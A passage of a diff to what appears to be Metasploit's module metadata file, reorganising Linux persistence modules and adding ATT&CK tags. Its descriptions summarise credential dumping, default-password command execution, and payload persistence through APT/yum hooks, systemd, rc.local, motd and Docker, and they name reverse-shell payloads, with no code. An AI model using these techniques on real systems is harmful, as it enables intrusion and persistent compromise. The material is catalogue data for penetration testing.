Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
|
||||
"references": [
|
||||
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"
|
||||
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py",
|
||||
"ATT&CK-T1003.002",
|
||||
"ATT&CK-T1003.004",
|
||||
"ATT&CK-T1003.005",
|
||||
"ATT&CK-T1003.006"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -27927,7 +28100,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-21 11:40:06 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/windows_secrets_dump",
|
||||
@@ -34871,7 +35044,8 @@
|
||||
"description": "This module exploits an OS Command Injection vulnerability in Cambium\n ePMP 1000 (<v2.5) device management portal. It requires any one of the\n following login credentials - admin/admin, installer/installer, home/home - to\n dump system hashes.",
|
||||
"references": [
|
||||
"URL-http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/",
|
||||
"URL-https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83"
|
||||
"URL-https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -34892,7 +35066,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/epmp1000_dump_hashes",
|
||||
@@ -51508,7 +51682,7 @@
|
||||
"postgres"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"mod_time": "2025-09-02 16:31:33 +0000",
|
||||
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/postgres/postgres_login",
|
||||
@@ -55714,7 +55888,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-20 13:20:44 +0000",
|
||||
"mod_time": "2025-09-12 14:27:32 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_login",
|
||||
@@ -56837,14 +57011,16 @@
|
||||
"Nicholas Starke <nick@alephvoid.com>"
|
||||
],
|
||||
"description": "This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.\n The 'karaf' user has a known default password, which can be used to login to the\n SSH service, and execute operating system commands from remote.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 8101,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/apache_karaf_command_execution",
|
||||
@@ -85181,7 +85357,8 @@
|
||||
"CVE-2022-24989",
|
||||
"URL-https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/",
|
||||
"URL-https://github.com/0xf4n9x/CVE-2022-24990",
|
||||
"URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990"
|
||||
"URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x64, x86, aarch64",
|
||||
@@ -85205,7 +85382,7 @@
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2023-06-12 19:28:08 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/terramaster_unauth_rce_cve_2022_24990",
|
||||
@@ -88997,51 +89174,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/apt_package_manager_persistence": {
|
||||
"name": "APT Package Manager Persistence",
|
||||
"fullname": "exploit/linux/local/apt_package_manager_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1999-03-09",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Aaron Ringo"
|
||||
],
|
||||
"description": "This module will run a payload when the package manager is used. No\n handler is ran automatically so you must configure an appropriate\n exploit/multi/handler to connect. This module creates a pre-invoke hook\n for APT in apt.conf.d. The hook name syntax is numeric followed by text.",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"path": "/modules/exploits/linux/local/apt_package_manager_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/apt_package_manager_persistence",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"unknown-reliability"
|
||||
],
|
||||
"Stability": [
|
||||
"unknown-stability"
|
||||
],
|
||||
"SideEffects": [
|
||||
"unknown-side-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/asan_suid_executable_priv_esc": {
|
||||
"name": "AddressSanitizer (ASan) SUID Executable Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/asan_suid_executable_priv_esc",
|
||||
@@ -89097,51 +89229,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/autostart_persistence": {
|
||||
"name": "Autostart Desktop Item Persistence",
|
||||
"fullname": "exploit/linux/local/autostart_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2006-02-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eliott Teissonniere"
|
||||
],
|
||||
"description": "This module will create an autostart entry to execute a payload.\n The payload will be executed when the users logs in.",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"path": "/modules/exploits/linux/local/autostart_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/autostart_persistence",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"unknown-reliability"
|
||||
],
|
||||
"Stability": [
|
||||
"unknown-stability"
|
||||
],
|
||||
"SideEffects": [
|
||||
"unknown-side-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/blueman_set_dhcp_handler_dbus_priv_esc": {
|
||||
"name": "blueman set_dhcp_handler D-Bus Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc",
|
||||
@@ -89376,50 +89463,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/cron_persistence": {
|
||||
"name": "Cron Persistence",
|
||||
"fullname": "exploit/linux/local/cron_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1979-07-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die <mike@shorebreaksecurity.com>"
|
||||
],
|
||||
"description": "This module will create a cron or crontab entry to execute a payload.\n The module includes the ability to automatically clean up those entries to prevent multiple executions.\n syslog will get a copy of the cron entry.",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Cron",
|
||||
"User Crontab",
|
||||
"System Crontab"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"path": "/modules/exploits/linux/local/cron_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/cron_persistence",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"unknown-reliability"
|
||||
],
|
||||
"Stability": [
|
||||
"unknown-stability"
|
||||
],
|
||||
"SideEffects": [
|
||||
"unknown-side-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe": {
|
||||
"name": "Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE",
|
||||
"fullname": "exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe",
|
||||
@@ -90949,51 +90992,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/motd_persistence": {
|
||||
"name": "update-motd.d Persistence",
|
||||
"fullname": "exploit/linux/local/motd_persistence",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": "1999-01-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Julien Voisin"
|
||||
],
|
||||
"description": "This module will add a script in /etc/update-motd.d/ in order to persist a payload.\n The payload will be executed with root privileges everytime a user logs in.",
|
||||
"references": [
|
||||
"URL-https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-09-11 13:30:09 +0000",
|
||||
"path": "/modules/exploits/linux/local/motd_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/motd_persistence",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [],
|
||||
"Reliability": [
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/ndsudo_cve_2024_32019": {
|
||||
"name": "Netdata ndsudo privilege escalation",
|
||||
"fullname": "exploit/linux/local/ndsudo_cve_2024_32019",
|
||||
@@ -91840,51 +91838,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/rc_local_persistence": {
|
||||
"name": "rc.local Persistence",
|
||||
"fullname": "exploit/linux/local/rc_local_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1980-10-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eliott Teissonniere"
|
||||
],
|
||||
"description": "This module will edit /etc/rc.local in order to persist a payload.\n The payload will be executed on the next reboot.",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"path": "/modules/exploits/linux/local/rc_local_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/rc_local_persistence",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"unknown-reliability"
|
||||
],
|
||||
"Stability": [
|
||||
"unknown-stability"
|
||||
],
|
||||
"SideEffects": [
|
||||
"unknown-side-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc": {
|
||||
"name": "Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc",
|
||||
@@ -93494,51 +93447,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/yum_package_manager_persistence": {
|
||||
"name": "Yum Package Manager Persistence",
|
||||
"fullname": "exploit/linux/local/yum_package_manager_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2003-12-17",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Aaron Ringo"
|
||||
],
|
||||
"description": "This module will run a payload when the package manager is used. No\n handler is ran automatically so you must configure an appropriate\n exploit/multi/handler to connect. Module modifies a yum plugin to\n launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/\n will show what plugins are currently enabled on the system.",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"path": "/modules/exploits/linux/local/yum_package_manager_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/yum_package_manager_persistence",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"unknown-reliability"
|
||||
],
|
||||
"Stability": [
|
||||
"unknown-stability"
|
||||
],
|
||||
"SideEffects": [
|
||||
"unknown-side-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/local/zimbra_postfix_priv_esc": {
|
||||
"name": "Zimbra sudo + postfix privilege escalation",
|
||||
"fullname": "exploit/linux/local/zimbra_postfix_priv_esc",
|
||||
@@ -95965,6 +95873,107 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/persistence/apt_package_manager": {
|
||||
"name": "APT Package Manager Persistence",
|
||||
"fullname": "exploit/linux/persistence/apt_package_manager",
|
||||
"aliases": [
|
||||
"exploits/linux/local/apt_package_manager_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1999-03-09",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Aaron Ringo"
|
||||
],
|
||||
"description": "This module will run a payload when the APT package manager is used.\n This module creates a pre-invoke hook for APT in apt.conf.d. Write access\n to the apt.conf.d directory is required, typically requiring root access.\n The hook name is randomized if not specified.\n Verified on Ubuntu 22.04",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-09 10:33:10 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/apt_package_manager.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/apt_package_manager",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/autostart": {
|
||||
"name": "Autostart Desktop Item Persistence",
|
||||
"fullname": "exploit/linux/persistence/autostart",
|
||||
"aliases": [
|
||||
"exploits/linux/local/autostart_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2006-02-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eliott Teissonniere"
|
||||
],
|
||||
"description": "This module will create an autostart .desktop entry to execute a payload.\n The payload will be executed when the users logs in.\n Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.\n The following payloads were used in testing:\n - cmd/unix/reverse_netcat\n - linux/x64/meterpreter/reverse_tcp\n - cmd/linux/http/x64/meterpreter/reverse_tcp",
|
||||
"references": [
|
||||
"ATT&CK-T1547.013",
|
||||
"URL-https://specifications.freedesktop.org/autostart-spec/latest/"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-10 13:59:23 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/autostart.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/autostart",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/bash_profile": {
|
||||
"name": "Bash Profile Persistence",
|
||||
"fullname": "exploit/linux/persistence/bash_profile",
|
||||
@@ -96016,6 +96025,367 @@
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/docker_image": {
|
||||
"name": "Docker Image Persistence",
|
||||
"fullname": "exploit/linux/persistence/docker_image",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2013-03-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module maintains persistence on a host by creating a docker image which runs our\n payload, and has access to the host's file system (/host in the container). Whenever the\n container restarts, the payload will run, or when the payload dies the executable\n will run again after a delay. This will allow for writing back\n into the host through cron entries, ssh keys, or other method.\n\n Verified on Ubuntu 22.04.",
|
||||
"references": [
|
||||
"ATT&CK-T1610"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2025-09-16 15:57:24 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/docker_image.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/docker_image",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/init_openrc": {
|
||||
"name": "Init OpenRC Persistence",
|
||||
"fullname": "exploit/linux/persistence/init_openrc",
|
||||
"aliases": [
|
||||
"exploits/linux/local/service_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2007-04-05",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module will create a service on the box via OpenRC, and mark it for auto-restart.\n We need enough access to write service files and potentially restart services.\n Verified against alpine 3.21.2",
|
||||
"references": [
|
||||
"URL-https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples",
|
||||
"ATT&CK-T1543",
|
||||
"URL-https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts",
|
||||
"URL-https://wiki.alpinelinux.org/wiki/OpenRC",
|
||||
"URL-https://github.com/OpenRC/openrc/blob/master/service-script-guide.md"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-11 12:00:52 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/init_openrc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/init_openrc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/init_systemd": {
|
||||
"name": "Service SystemD Persistence",
|
||||
"fullname": "exploit/linux/persistence/init_systemd",
|
||||
"aliases": [
|
||||
"exploits/linux/local/service_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2010-03-30",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die <mike@shorebreaksecurity.com>",
|
||||
"Cale Black"
|
||||
],
|
||||
"description": "This module will create a service on the box, and mark it for auto-restart.\n We need enough access to write service files and potentially restart services\n Targets:\n CentOS 7\n Debian >= 7, <=8\n Fedora >= 15\n Ubuntu >= 15.04\n Verified on Ubuntu 18.04.3",
|
||||
"references": [
|
||||
"URL-https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples",
|
||||
"URL-https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/",
|
||||
"ATT&CK-T1543.002"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"systemd",
|
||||
"systemd user"
|
||||
],
|
||||
"mod_time": "2025-09-09 16:19:32 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/init_systemd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/init_systemd",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/init_systemd_override": {
|
||||
"name": "Service SystemD override.conf Persistence",
|
||||
"fullname": "exploit/linux/persistence/init_systemd_override",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2010-03-30",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die"
|
||||
],
|
||||
"description": "This module will create an override.conf file for a SystemD service on the box.\n The ExecStartPost hook is used to launch the payload after the service is started.\n We need enough access (typically root) to write in the /etc/systemd/system\n directory and potentially restart services.\n Verified on Ubuntu 22.04",
|
||||
"references": [
|
||||
"URL-https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html",
|
||||
"URL-https://askubuntu.com/a/659268",
|
||||
"URL-https://wiki.archlinux.org/title/Systemd",
|
||||
"ATT&CK-T1543.002"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"systemd",
|
||||
"systemd user"
|
||||
],
|
||||
"mod_time": "2025-09-26 15:00:09 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/init_systemd_override.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/init_systemd_override",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/motd": {
|
||||
"name": "update-motd.d Persistence",
|
||||
"fullname": "exploit/linux/persistence/motd",
|
||||
"aliases": [
|
||||
"exploits/linux/local/motd_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1999-01-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Julien Voisin"
|
||||
],
|
||||
"description": "This module will add a script in /etc/update-motd.d/ in order to persist a payload.\n The payload will be executed with root privileges everytime a user logs in.\n Root privileges are likely required to write to /etc/update-motd.d/.\n Verified on Ubuntu 22.04",
|
||||
"references": [
|
||||
"URL-https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-09 14:29:07 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/motd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/motd",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/rc_local": {
|
||||
"name": "rc.local Persistence",
|
||||
"fullname": "exploit/linux/persistence/rc_local",
|
||||
"aliases": [
|
||||
"exploits/linux/local/rc_local_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1980-10-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eliott Teissonniere"
|
||||
],
|
||||
"description": "This module will edit /etc/rc.local in order to persist a payload.\n The payload will be executed on the next reboot.\n Verified on Ubuntu 18.04.3",
|
||||
"references": [
|
||||
"ATT&CK-T1037.004"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-09 14:58:09 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/rc_local.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/rc_local",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
